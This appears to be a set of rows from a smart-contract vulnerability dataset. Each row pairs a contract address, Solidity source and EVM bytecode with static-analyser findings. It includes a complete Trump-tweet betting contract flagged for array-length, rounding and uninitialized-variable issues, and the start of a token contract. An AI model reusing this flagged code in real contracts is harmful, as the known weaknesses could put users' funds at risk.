8601613934565b9150509250929050565b600060208284031215613a8957600080fd5b600082013567ffffffffffffffff811115613aa357600080fd5b613aaf848285016138e0565b91505092915050565b600060208284031215613aca57600080fd5b6000613ad88482850161390a565b91505092915050565b600060208284031215613af357600080fd5b6000613b018482850161391f565b91505092915050565b600060208284031215613b1c57600080fd5b6000613b2a84828501613934565b91505092915050565b600080600060608486031215613b4857600080fd5b6000613b5686828701613949565b9350506020613b6786828701613949565b9250506040613b7886828701613949565b9150509250925092565b6000613b8e8383613b9a565b60208301905092915050565b613ba38161438b565b82525050565b613bb28161438b565b82525050565b6000613bc382614231565b613bcd8185614254565b9350613bd883614221565b8060005b83811015613c09578151613bf08882613b82565b9750613bfb83614247565b925050600181019050613bdc565b5085935050505092915050565b613c1f8161439d565b82525050565b613c2e816143e0565b82525050565b6000613c3f8261423c565b613c498185614265565b9350613c598185602086016143f2565b613c628161452c565b840191505092915050565b6000613c7a602383614265565b9150613c858261453d565b604082019050919050565b6000613c9d602a83614265565b9150613ca88261458c565b604082019050919050565b6000613cc0602283614265565b9150613ccb826145db565b604082019050919050565b6000613ce3602283614265565b9150613cee8261462a565b604082019050919050565b6000613d06601b83614265565b9150613d1182614679565b602082019050919050565b6000613d29601583614265565b9150613d34826146a2565b602082019050919050565b6000613d4c602383614265565b9150613d57826146cb565b604082019050919050565b6000613d6f602183614265565b9150613d7a8261471a565b604082019050919050565b6000613d92602083614265565b9150613d9d82614769565b602082019050919050565b6000613db5602983614265565b9150613dc082614792565b604082019050919050565b6000613dd8602583614265565b9150613de3826147e1565b604082019050919050565b6000613dfb602483614265565b9150613e0682614830565b604082019050919050565b6000613e1e601783614265565b9150613e298261487f565b602082019050919050565b6000613e41601883614265565b9150613e4c826148a8565b602082019050919050565b613e60816143c9565b82525050565b613e6f816143d3565b82525050565b6000602082019050613e8a6000830184613ba9565b92915050565b6000604082019050613ea56000830185613ba9565b613eb26020830184613ba9565b9392505050565b6000604082019050613ece6000830185613ba9565b613edb6020830184613e57565b9392505050565b600060c082019050613ef76000830189613ba9565b613f046020830188613e57565b613f116040830187613c25565b613f1e6060830186613c25565b613f2b6080830185613ba9565b613f3860a0830184613e57565b979650505050505050565b6000602082019050613f586000830184613c16565b92915050565b60006020820190508181036000830152613f788184613c34565b905092915050565b60006020820190508181036000830152613f9981613c6d565b9050919050565b60006020820190508181036000830152613fb981613c90565b9050919050565b60006020820190508181036000830152613fd981613cb3565b9050919050565b60006020820190508181036000830152613ff981613cd6565b9050919050565b6000602082019050818103600083015261401981613cf9565b9050919050565b6000602082019050818103600083015261403981613d1c565b9050919050565b6000602082019050818103600083015261405981613d3f565b9050919050565b6000602082019050818103600083015261407981613d62565b9050919050565b6000602082019050818103600083015261409981613d85565b9050919050565b600060208201905081810360008301526140b981613da8565b9050919050565b600060208201905081810360008301526140d981613dcb565b9050919050565b600060208201905081810360008301526140f981613dee565b9050919050565b6000602082019050818103600083015261411981613e11565b9050919050565b6000602082019050818103600083015261413981613e34565b9050919050565b60006020820190506141556000830184613e57565b92915050565b600060a0820190506141706000830188613e57565b61417d6020830187613c25565b818103604083015261418f8186613bb8565b905061419e6060830185613ba9565b6141ab6080830184613e57565b9695505050505050565b60006020820190506141ca6000830184613e66565b92915050565b60006141da6141eb565b90506141e68282614425565b919050565b6000604051905090565b600067ffffffffffffffff8211156142105761420f6144fd565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000614281826143c9565b915061428c836143c9565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156142c1576142c061449f565b5b828201905092915050565b60006142d7826143c9565b91506142e2836143c9565b9250826142f2576142f16144ce565b5b828204905092915050565b6000614308826143c9565b9150614313836143c9565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561434c5761434b61449f565b5b828202905092915050565b6000614362826143c9565b915061436d836143c9565b9250828210156143805761437f61449f565b5b828203905092915050565b6000614396826143a9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006143eb826143c9565b9050919050565b60005b838110156144105780820151818401526020810190506143f5565b8381111561441f576000848401525b50505050565b61442e8261452c565b810181811067ffffffffffffffff8211171561444d5761444c6144fd565b5b80604052505050565b6000614461826143c9565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156144945761449361449f565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f596f75722062757920636f6f6c646f776e20686173206e6f742065787069726560008201527f642e000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f526174652063616e277420657863656564203530250000000000000000000000600082015250565b7f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260008201527f65642e0000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f54726164696e67206e6f742079657420656e61626c65642e0000000000000000600082015250565b6148da8161438b565b81146148e557600080fd5b50565b6148f18161439d565b81146148fc57600080fd5b50565b614908816143c9565b811461491357600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122085aed9744113cb235318d7e80d87b94c3b6e5bd450c465f2adc4854b1d1f924e64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 6,074 |
0xf78470c139b07b21e59f9b7ee6149f58777806af
|
pragma solidity ^0.4.19;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract TrumpBingo {
/* GLOBAL CONSTANTS */
uint256 private minBid = 0.01 ether;
uint256 private feePercent = 5; // only charged from profits
uint256 private jackpotPercent = 10; // only charged from profits
uint256 private startingCoownerPrice = 10 ether;
/* ADMIN AREA */
bool public paused;
address public ceoAddress;
address public feeAddress;
address public feedAddress;
modifier notPaused() {
require(!paused);
_;
}
modifier onlyFeed() {
require(msg.sender == feedAddress);
_;
}
modifier onlyCEO() {
require(msg.sender == ceoAddress);
_;
}
function setCEO(address _newCEO) public onlyCEO {
require(_newCEO != address(0));
ceoAddress = _newCEO;
}
function setFeedAddress(address _newFeed) public onlyCEO {
feedAddress = _newFeed;
}
function setFeeAddress(address _newFee) public onlyCEO {
feeAddress = _newFee;
}
function pauseContract() public onlyCEO {
paused = true;
}
function unpauseContract() public onlyCEO {
paused = false;
}
/* PROFITS */
mapping (address => uint256) private profits;
function getProfits(address who) public view returns (uint256) {
return profits[who];
}
function withdraw(address who) public {
require(profits[who] > 0);
uint256 amount = profits[who];
profits[who] = 0;
who.transfer(amount);
}
/* COOWNER MANAGEMENT */
address public feeCoownerAddress;
uint256 public coownerPrice;
function becomeCoowner() public payable {
if (msg.value < coownerPrice) {
revert();
}
uint256 ourFee = coownerPrice / 10;
uint256 profit = coownerPrice - ourFee;
profits[feeCoownerAddress] += profit;
profits[feeAddress] += ourFee;
profits[msg.sender] += msg.value - coownerPrice;
coownerPrice = coownerPrice * 3 / 2;
feeCoownerAddress = msg.sender;
}
/* WORD MANAGEMENT */
struct Word {
string word;
bool disabled;
}
event WordSetChanged();
Word[] private words;
mapping (string => uint256) private idByWord;
function getWordCount() public view returns (uint) {
return words.length;
}
function getWord(uint index) public view returns (string word,
bool disabled) {
require(index < words.length);
return (words[index].word, words[index].disabled);
}
function getWordIndex(string word) public view returns (uint) {
return idByWord[word];
}
function addWord(string word) public onlyCEO {
uint index = idByWord[word];
require(index == 0);
index = words.push(Word({word: word, disabled: false})) - 1;
idByWord[word] = index;
bids.length = words.length;
WordSetChanged();
}
function delWord(string word) public onlyCEO {
uint index = idByWord[word];
require(index > 0);
require(bids[index].bestBidder == address(0));
idByWord[word] = 0;
words[index].disabled = true;
WordSetChanged();
}
/* WINNERS MANAGEMENT */
uint public prevTweetTime;
uint256 public prevRoundTweetId;
struct WinnerInfo {
address who;
uint256 howMuch;
uint256 wordId;
}
WinnerInfo[] private prevRoundWinners;
uint private prevRoundWinnerCount;
function getPrevRoundWinnerCount() public view returns (uint256 winnerCount) {
winnerCount = prevRoundWinnerCount;
}
function getPrevRoundWinner(uint i) public view returns (address who, uint256 howMuch, uint256 wordId) {
who = prevRoundWinners[i].who;
howMuch = prevRoundWinners[i].howMuch;
wordId = prevRoundWinners[i].wordId;
}
function addWinner(address who, uint howMuch, uint wordId) private {
++prevRoundWinnerCount;
if (prevRoundWinners.length < prevRoundWinnerCount) {
prevRoundWinners.length = prevRoundWinnerCount;
}
prevRoundWinners[prevRoundWinnerCount - 1].who = who;
prevRoundWinners[prevRoundWinnerCount - 1].howMuch = howMuch;
prevRoundWinners[prevRoundWinnerCount - 1].wordId = wordId;
}
/* BIDS MANAGEMENT */
struct Bid {
uint256 cumValue;
uint256 validRoundNo;
}
struct WordBids {
mapping (address => Bid) totalBids;
address bestBidder;
}
uint256 private curRound;
WordBids[] private bids;
uint256 private totalBank;
uint256 private totalJackpot;
function getJackpot() public view returns (uint256) {
return totalJackpot;
}
function getBank() public view returns (uint256) {
return totalBank;
}
function getBestBidder(uint256 wordIndex) public view returns (address, uint256) {
return (bids[wordIndex].bestBidder, bids[wordIndex].totalBids[bids[wordIndex].bestBidder].cumValue);
}
function getBestBid(uint256 wordIndex) public view returns (uint256) {
return bids[wordIndex].totalBids[bids[wordIndex].bestBidder].cumValue;
}
function getMinAllowedBid(uint256 wordIndex) public view returns (uint256) {
return getBestBid(wordIndex) + minBid;
}
function getTotalBid(address who, uint256 wordIndex) public view returns (uint256) {
if (bids[wordIndex].totalBids[who].validRoundNo != curRound) {
return 0;
}
return bids[wordIndex].totalBids[who].cumValue;
}
function startNewRound() private {
totalBank = 0;
++curRound;
for (uint i = 0; i < bids.length; ++i) {
bids[i].bestBidder = 0;
}
}
event BestBidUpdate();
function addBid(address who, uint wordIndex, uint256 value) private {
if (bids[wordIndex].totalBids[who].validRoundNo != curRound) {
bids[wordIndex].totalBids[who].cumValue = 0;
bids[wordIndex].totalBids[who].validRoundNo = curRound;
}
uint256 newBid = value + bids[wordIndex].totalBids[who].cumValue;
uint256 minAllowedBid = getMinAllowedBid(wordIndex);
if (minAllowedBid > newBid) {
revert();
}
bids[wordIndex].totalBids[who].cumValue = newBid;
bids[wordIndex].bestBidder = who;
totalBank += value;
BestBidUpdate();
}
function calcPayouts(bool[] hasWon) private {
uint256 totalWon;
uint i;
for (i = 0; i < words.length; ++i) {
if (hasWon[i]) {
totalWon += getBestBid(i);
}
}
if (totalWon == 0) {
totalJackpot += totalBank;
return;
}
uint256 bank = totalJackpot / 2;
totalJackpot -= bank;
bank += totalBank;
// charge only loosers
uint256 fee = uint256(SafeMath.div(SafeMath.mul(bank - totalWon, feePercent), 100));
bank -= fee;
profits[feeAddress] += fee / 2;
fee -= fee / 2;
profits[feeCoownerAddress] += fee;
uint256 jackpotFill = uint256(SafeMath.div(SafeMath.mul(bank - totalWon, jackpotPercent), 100));
bank -= jackpotFill;
totalJackpot += jackpotFill;
for (i = 0; i < words.length; ++i) {
if (hasWon[i] && bids[i].bestBidder != address(0)) {
uint256 payout = uint256(SafeMath.div(SafeMath.mul(bank, getBestBid(i)), totalWon));
profits[bids[i].bestBidder] += payout;
addWinner(bids[i].bestBidder, payout, i);
}
}
}
function getPotentialProfit(address who, string word) public view returns
(uint256 minNeededBid,
uint256 expectedProfit) {
uint index = idByWord[word];
require(index > 0);
uint currentBid = getTotalBid(who, index);
address bestBidder;
(bestBidder,) = getBestBidder(index);
if (bestBidder != who) {
minNeededBid = getMinAllowedBid(index) - currentBid;
}
uint256 bank = totalJackpot / 2;
bank += totalBank;
uint256 fee = uint256(SafeMath.div(SafeMath.mul(bank - currentBid, feePercent), 100));
bank -= fee;
uint256 jackpotFill = uint256(SafeMath.div(SafeMath.mul(bank - currentBid, jackpotPercent), 100));
bank -= jackpotFill;
expectedProfit = bank;
}
function bid(string word) public payable notPaused {
uint index = idByWord[word];
require(index > 0);
addBid(msg.sender, index, msg.value);
}
/* FEED TRUMP TWEET */
function hasSubstring(string haystack, string needle) private pure returns (bool) {
uint needleSize = bytes(needle).length;
bytes32 hash = keccak256(needle);
for(uint i = 0; i < bytes(haystack).length - needleSize; i++) {
bytes32 testHash;
assembly {
testHash := sha3(add(add(haystack, i), 32), needleSize)
}
if (hash == testHash)
return true;
}
return false;
}
event RoundFinished();
event NoBids();
event NoBingoWords();
function feedTweet(uint tweetTime, uint256 tweetId, string tweet) public onlyFeed notPaused {
prevTweetTime = tweetTime;
if (totalBank == 0) {
NoBids();
return;
}
bool[] memory hasWon = new bool[](words.length);
bool anyWordPresent = false;
for (uint i = 0; i < words.length; ++i) {
hasWon[i] = (!words[i].disabled) && hasSubstring(tweet, words[i].word);
if (hasWon[i]) {
anyWordPresent = true;
}
}
if (!anyWordPresent) {
NoBingoWords();
return;
}
prevRoundTweetId = tweetId;
prevRoundWinnerCount = 0;
calcPayouts(hasWon);
RoundFinished();
startNewRound();
}
/* CONSTRUCTOR */
function TrumpBingo() public {
ceoAddress = msg.sender;
feeAddress = msg.sender;
feedAddress = msg.sender;
feeCoownerAddress = msg.sender;
coownerPrice = startingCoownerPrice;
paused = false;
words.push(Word({word: "", disabled: true})); // fake '0' word
startNewRound();
}
}
|
0x6060604052600436106101955763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416630a0f8168811461019a5780630ce5a098146101c957806327d7874c146101ee57806329c36bb51461020f578063300ba0ec146102225780633a3bc0cb14610235578063412753581461024857806343503fac1461025b578063439766ce146102f157806345b581a2146103045780634974da811461037b57806351cff8d9146103cc5780635c975abb146103eb57806360d704db146104125780636ac68f7f146104255780636efbd6101461045d57806372ccd03a1461047057806373f440fe146104c1578063787dbaf1146104d457806378df0fe1146105305780637aef951c1461054f5780637cf52f3c1461059557806384491566146105e15780638705fcd4146105f45780639329066c14610613578063a1b4094614610626578063b33712c514610677578063b5444ef21461068a578063c1d357bc14610692578063c6ceafef146106a8578063f14e96f1146106c7578063f27eede0146106dd575b600080fd5b34156101a557600080fd5b6101ad6106ff565b604051600160a060020a03909116815260200160405180910390f35b34156101d457600080fd5b6101dc610713565b60405190815260200160405180910390f35b34156101f957600080fd5b61020d600160a060020a036004351661071a565b005b341561021a57600080fd5b6101ad610784565b341561022d57600080fd5b6101dc610793565b341561024057600080fd5b6101ad610799565b341561025357600080fd5b6101ad6107a8565b341561026657600080fd5b6102716004356107b7565b604051811515602082015260408082528190810184818151815260200191508051906020019080838360005b838110156102b557808201518382015260200161029d565b50505050905090810190601f1680156102e25780820380516001836020036101000a031916815260200191505b50935050505060405180910390f35b34156102fc57600080fd5b61020d6108c2565b341561030f57600080fd5b61036360048035600160a060020a03169060446024803590810190830135806020601f820181900481020160405190810160405281815292919060208401838380828437509496506108f195505050505050565b60405191825260208201526040908101905180910390f35b341561038657600080fd5b61020d60046024813581810190830135806020601f820181900481020160405190810160405281815292919060208401838380828437509496506109ff95505050505050565b34156103d757600080fd5b61020d600160a060020a0360043516610bad565b34156103f657600080fd5b6103fe610c1f565b604051901515815260200160405180910390f35b341561041d57600080fd5b6101dc610c28565b341561043057600080fd5b61043b600435610c2e565b604051600160a060020a03909216825260208201526040908101905180910390f35b341561046857600080fd5b6101dc610cc8565b341561047b57600080fd5b61020d60046024813581810190830135806020601f82018190048102016040519081016040528181529291906020840183838082843750949650610cce95505050505050565b34156104cc57600080fd5b6101dc610e6d565b34156104df57600080fd5b61020d600480359060248035919060649060443590810190830135806020601f82018190048102016040519081016040528181529291906020840183838082843750949650610e7395505050505050565b341561053b57600080fd5b6101dc600160a060020a03600435166110d9565b61020d60046024813581810190830135806020601f820181900481020160405190810160405281815292919060208401838380828437509496506110f495505050505050565b34156105a057600080fd5b6105ab600435611188565b6040518084600160a060020a0316600160a060020a03168152602001838152602001828152602001935050505060405180910390f35b34156105ec57600080fd5b6101dc611207565b34156105ff57600080fd5b61020d600160a060020a036004351661120d565b341561061e57600080fd5b6101dc61124f565b341561063157600080fd5b6101dc60046024813581810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284375094965061125595505050505050565b341561068257600080fd5b61020d6112c4565b61020d6112f0565b341561069d57600080fd5b6101dc60043561137b565b34156106b357600080fd5b61020d600160a060020a036004351661138f565b34156106d257600080fd5b6101dc6004356113d1565b34156106e857600080fd5b6101dc600160a060020a0360043516602435611438565b6004546101009004600160a060020a031681565b600a545b90565b60045433600160a060020a03908116610100909204161461073a57600080fd5b600160a060020a038116151561074f57600080fd5b60048054600160a060020a039092166101000274ffffffffffffffffffffffffffffffffffffffff0019909216919091179055565b600654600160a060020a031681565b600c5481565b600854600160a060020a031681565b600554600160a060020a031681565b6107bf611a97565b600a5460009083106107d057600080fd5b600a8054849081106107de57fe5b9060005260206000209060020201600001600a848154811015156107fe57fe5b906000526020600020906002020160010160009054906101000a900460ff16818054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108b25780601f10610887576101008083540402835291602001916108b2565b820191906000526020600020905b81548152906001019060200180831161089557829003601f168201915b5050505050915091509150915091565b60045433600160a060020a0390811661010090920416146108e257600080fd5b6004805460ff19166001179055565b600080600080600080600080600b896040518082805190602001908083835b6020831061092f5780518252601f199092019160209182019101610910565b6001836020036101000a0380198251168184511680821785525050505050509050019150509081526020016040519081900390205495506000861161097357600080fd5b61097d8a87611438565b945061098886610c2e565b509350600160a060020a03808516908b16146109ac57846109a88761137b565b0397505b601354600290049250601254830192506109d46109cd8685036001546114bd565b60646114f3565b915081830392506109ec6109cd8685036002546114bd565b979a979092039850959650505050505050565b60045460009033600160a060020a039081166101009092041614610a2257600080fd5b600b826040518082805190602001908083835b60208310610a545780518252601f199092019160209182019101610a35565b6001836020036101000a0380198251168184511680821785525050505050509050019150509081526020016040519081900390205490508015610a9657600080fd5b6001600a8054806001018281610aac9190611aa9565b916000526020600020906002020160006040805190810160405286815260006020820152919050815181908051610ae7929160200190611ada565b506020820151600191909101805460ff19169115159190911790555003905080600b836040518082805190602001908083835b60208310610b395780518252601f199092019160209182019101610b1a565b6001836020036101000a03801982511681845116808217855250505050505090500191505090815260200160405190819003902055600a54610b7c601182611b58565b507fb0fc13e97c53e4559fe41a5dbcddc2b06bfd70d5facb086671807d7ffb1ad05d60405160405180910390a15050565b600160a060020a038116600090815260076020526040812054819011610bd257600080fd5b50600160a060020a038116600081815260076020526040808220805492905590919082156108fc0290839051600060405180830381858888f193505050501515610c1b57600080fd5b5050565b60045460ff1681565b60125490565b600080601183815481101515610c4057fe5b600091825260209091206001600290920201015460118054600160a060020a039092169185908110610c6e57fe5b90600052602060002090600202016000016000601186815481101515610c9057fe5b6000918252602080832060016002909302019190910154600160a060020a031683528201929092526040019020549092509050915091565b60095481565b60045460009033600160a060020a039081166101009092041614610cf157600080fd5b600b826040518082805190602001908083835b60208310610d235780518252601f199092019160209182019101610d04565b6001836020036101000a03801982511681845116808217855250505050505090500191505090815260200160405190819003902054905060008111610d6757600080fd5b601180546000919083908110610d7957fe5b6000918252602090912060016002909202010154600160a060020a031614610da057600080fd5b6000600b836040518082805190602001908083835b60208310610dd45780518252601f199092019160209182019101610db5565b6001836020036101000a03801982511681845116808217855250505050505090500191505090815260200160405190819003902055600a80546001919083908110610e1b57fe5b60009182526020909120600290910201600101805460ff19169115159190911790557fb0fc13e97c53e4559fe41a5dbcddc2b06bfd70d5facb086671807d7ffb1ad05d60405160405180910390a15050565b600d5481565b610e7b611a97565b600654600090819033600160a060020a03908116911614610e9b57600080fd5b60045460ff1615610eab57600080fd5b600c8690556012541515610eea577fc3bc4043f03718d7373347979352a488714a2cff0e87ce76a66fc291a21fb29d60405160405180910390a16110d1565b600a54604051805910610efa5750595b9080825280602002602001820160405250925060009150600090505b600a5481101561105257600a805482908110610f2e57fe5b600091825260209091206001600290920201015460ff1615801561100f575061100f84600a83815481101515610f6057fe5b90600052602060002090600202016000018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156110055780601f10610fda57610100808354040283529160200191611005565b820191906000526020600020905b815481529060010190602001808311610fe857829003601f168201915b505050505061150a565b83828151811061101b57fe5b91151560209283029091019091015282818151811061103657fe5b906020019060200201511561104a57600191505b600101610f16565b81151561108a577faaa4eb84e3f9946bc1d1f975f87ebad7c4e891310987e1ad42173b392e1008a460405160405180910390a16110d1565b600d8590556000600f5561109d836115b9565b7fb39c645aef2ec42857f91918de2794aa7e86c524d4461c4bac26d13e870c601560405160405180910390a16110d16117ba565b505050505050565b600160a060020a031660009081526007602052604090205490565b60045460009060ff161561110757600080fd5b600b826040518082805190602001908083835b602083106111395780518252601f19909201916020918201910161111a565b6001836020036101000a0380198251168184511680821785525050505050509050019150509081526020016040519081900390205490506000811161117d57600080fd5b610c1b338234611823565b6000806000600e8481548110151561119c57fe5b6000918252602090912060039091020154600e8054600160a060020a03909216945090859081106111c957fe5b9060005260206000209060030201600101549150600e848154811015156111ec57fe5b90600052602060002090600302016002015490509193909250565b600f5490565b60045433600160a060020a03908116610100909204161461122d57600080fd5b60058054600160a060020a031916600160a060020a0392909216919091179055565b60135490565b6000600b826040518082805190602001908083835b602083106112895780518252601f19909201916020918201910161126a565b6001836020036101000a0380198251168184511680821785525050505050509050019150509081526020016040518091039020549050919050565b60045433600160a060020a0390811661010090920416146112e457600080fd5b6004805460ff19169055565b60008060095434101561130257600080fd5b50506009805460088054600160a060020a039081166000908152600760205260408082208054600a870496879003019055600554831682528082208054909501909455845433909216808252939020805434929092039091019055825460026003909102049092558154600160a060020a031916179055565b60008054611388836113d1565b0192915050565b60045433600160a060020a0390811661010090920416146113af57600080fd5b60068054600160a060020a031916600160a060020a0392909216919091179055565b60006011828154811015156113e257fe5b9060005260206000209060020201600001600060118481548110151561140457fe5b6000918252602080832060029290920290910160010154600160a060020a0316835282019290925260400190205492915050565b600060105460118381548110151561144c57fe5b60009182526020808320600160a060020a038816845260029092029091019052604090206001015414611481575060006114b7565b601180548390811061148f57fe5b60009182526020808320600160a060020a038716845260029092029091019052604090205490505b92915050565b6000808315156114d057600091506114ec565b508282028284828115156114e057fe5b04146114e857fe5b8091505b5092915050565b600080828481151561150157fe5b04949350505050565b600080600080600085519350856040518082805190602001908083835b602083106115465780518252601f199092019160209182019101611527565b6001836020036101000a038019825116818451161790925250505091909101925060409150505180910390209250600091505b838751038210156115aa57508581016020018390208281141561159f57600194506115af565b600190910190611579565b600094505b5050505092915050565b600080808080805b600a548510156115ff578685815181106115d757fe5b90602001906020020151156115f4576115ef856113d1565b860195505b8460010194506115c1565b851515611617576012546013805490910190556117b1565b60138054600281049081900390915560125460015491019450611641906109cd90888703906114bd565b600554600160a060020a039081166000908152600760205260408082208054600280870491820190925560085490941683529120805492840392830190555491909503949350611698906109cd90888703906114bd565b601380548201905560009550938490039391505b600a548510156117b1578685815181106116c257fe5b90602001906020020151801561170557506011805460009190879081106116e557fe5b6000918252602090912060016002909202010154600160a060020a031614155b156117a65761172561171f8561171a886113d1565b6114bd565b876114f3565b9050806007600060118881548110151561173b57fe5b6000918252602080832060016002909302019190910154600160a060020a03168352820192909252604001902080549091019055601180546117a691908790811061178257fe5b6000918252602090912060016002909202010154600160a060020a031682876119d6565b8460010194506116ac565b50505050505050565b600060128190556010805460010190555b6011548110156118205760006011828154811015156117e657fe5b6000918252602090912060029091020160019081018054600160a060020a031916600160a060020a039390931692909217909155016117cb565b50565b60008060105460118581548110151561183857fe5b60009182526020808320600160a060020a038a168452600290920290910190526040902060010154146118d557600060118581548110151561187657fe5b60009182526020808320600160a060020a038a16845260029092029091019052604090205560105460118054869081106118ac57fe5b60009182526020808320600160a060020a038a1684526002909202909101905260409020600101555b60118054859081106118e357fe5b60009182526020808320600160a060020a0389168452600290920290910190526040902054830191506119158461137b565b90508181111561192457600080fd5b8160118581548110151561193457fe5b60009182526020808320600160a060020a038a168452600290920290910190526040902055601180548691908690811061196a57fe5b600091825260209091206002909102016001018054600160a060020a031916600160a060020a039290921691909117905560128054840190557f848d7d873ab9f1804919d818c99dedcaa2da3a594c345f0d4cb7a85dd2c01e6e60405160405180910390a15050505050565b600f805460010190819055600e5410156119fa57600f546119f8600e82611b84565b505b82600e6001600f5403815481101515611a0f57fe5b600091825260209091206003909102018054600160a060020a031916600160a060020a0392909216919091179055600f54600e8054849260001901908110611a5357fe5b90600052602060002090600302016001018190555080600e6001600f5403815481101515611a7d57fe5b906000526020600020906003020160020181905550505050565b60206040519081016040526000815290565b815481835581811511611ad557600202816002028360005260206000209182019101611ad59190611bb0565b505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10611b1b57805160ff1916838001178555611b48565b82800160010185558215611b48579182015b82811115611b48578251825591602001919060010190611b2d565b50611b54929150611bdf565b5090565b815481835581811511611ad557600202816002028360005260206000209182019101611ad59190611bf9565b815481835581811511611ad557600302816003028360005260206000209182019101611ad59190611c21565b61071791905b80821115611b54576000611bca8282611c53565b5060018101805460ff19169055600201611bb6565b61071791905b80821115611b545760008155600101611be5565b61071791905b80821115611b5457600181018054600160a060020a0319169055600201611bff565b61071791905b80821115611b54578054600160a060020a03191681556000600182018190556002820155600301611c27565b50805460018160011615610100020316600290046000825580601f10611c795750611820565b601f0160209004906000526020600020908101906118209190611bdf5600a165627a7a72305820e68a08d57195725c272ce8e5144dd9c426d8e051b30fe36c10fee9a7b8f679030029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
| 6,075 |
0x02c65a154a191ff9fa449b4a1302550275942951
|
/**
*Submitted for verification at Etherscan.io on 2022-04-12
*/
/**
https://t.me/GoliathETH
*/
// SPDX-License-Identifier: unlicense
pragma solidity ^0.8.7;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
